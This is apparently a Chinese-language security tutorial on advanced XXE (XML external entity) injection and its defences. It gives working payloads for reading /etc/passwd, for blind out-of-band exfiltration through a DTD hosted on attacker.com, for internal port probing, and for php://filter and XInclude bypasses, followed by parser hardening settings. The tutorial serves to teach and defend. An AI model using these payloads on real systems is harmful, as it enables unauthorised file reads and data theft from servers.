XXE(XML外部实体注入)漏洞与防护(进阶篇)
字数 1191 2025-11-14 08:21:52
XXE(XML外部实体注入)漏洞与防护(进阶篇)
1. 漏洞描述
XXE(XML External Entity Injection)漏洞发生在应用程序解析XML输入时,未对外部实体进行严格限制,导致攻击者能够读取敏感文件、执行内部端口扫描、发起SSRF攻击甚至远程代码执行。进阶篇将深入探讨XXE的复杂利用场景、盲注技术及现代环境下的绕过与防护。
2. XML外部实体基础
XML允许通过文档类型定义(DTD)声明实体(即变量),例如:
<!DOCTYPE example [ <!ENTITY entityname "value"> ]>
外部实体可引用外部资源:
<!ENTITY external SYSTEM "file:///etc/passwd">
若解析器配置不当,攻击者可通过注入恶意实体窃取数据。
3. 进阶利用场景
3.1 盲注XXE(无回显)
当攻击结果无法直接返回时,通过以下步骤实现数据外带:
- 声明一个参数实体,引用外部DTD(攻击者可控的服务器)。
- 在外部DTD中构造恶意实体,将目标文件内容作为URL参数发送到攻击者服务器。
示例:
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM "http://attacker.com/malicious.dtd">
%dtd;
]>
<data>&exfil;</data>
恶意DTD内容(malicious.dtd):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY exfil SYSTEM 'http://attacker.com/?data=%file;'>">
3.2 内部端口扫描
通过响应时间或错误信息判断内部端口开放状态:
<!ENTITY scan SYSTEM "http://127.0.0.1:22">
若端口开放,解析器可能因连接成功或超时行为暴露信息。
3.3 绕过过滤技术
- 编码绕过:使用UTF-16编码XML以绕过关键词检测。
- 动态DTD:利用PHP的
php://filter协议封装数据(如php://filter/convert.base64-encode/resource=/etc/passwd)。 - XInclude攻击:当直接DTD被禁用时,通过XInclude引用外部实体:
<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" href="file:///etc/passwd"/>
4. 防护措施
4.1 禁用外部实体
- PHP:
libxml_disable_entity_loader(true); - Java:设置
XMLConstants.FEATURE_SECURE_PROCESSING或使用SAXParserFactory配置setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)。 - Python:
lxml.etree.XMLParser(resolve_entities=False)
4.2 输入验证与过滤
- 严格校验XML输入结构,禁止DOCTYPE声明。
- 使用白名单机制过滤关键词(如
SYSTEM、PUBLIC)。
4.3 安全解析配置
- 使用SOAP 1.2+版本(默认禁用DTD)。
- 启用XML解析器的安全模式(如OWASP AntiSamy)。
5. 现代环境注意事项
- JSON替代XML:优先使用JSON解析器(但需注意JSONP等衍生风险)。
- API安全:RESTful API中若需处理XML,强制验证Content-Type并限制解析深度。
通过理解XXE的深层利用链及多维防护策略,可有效应对高阶攻击手法。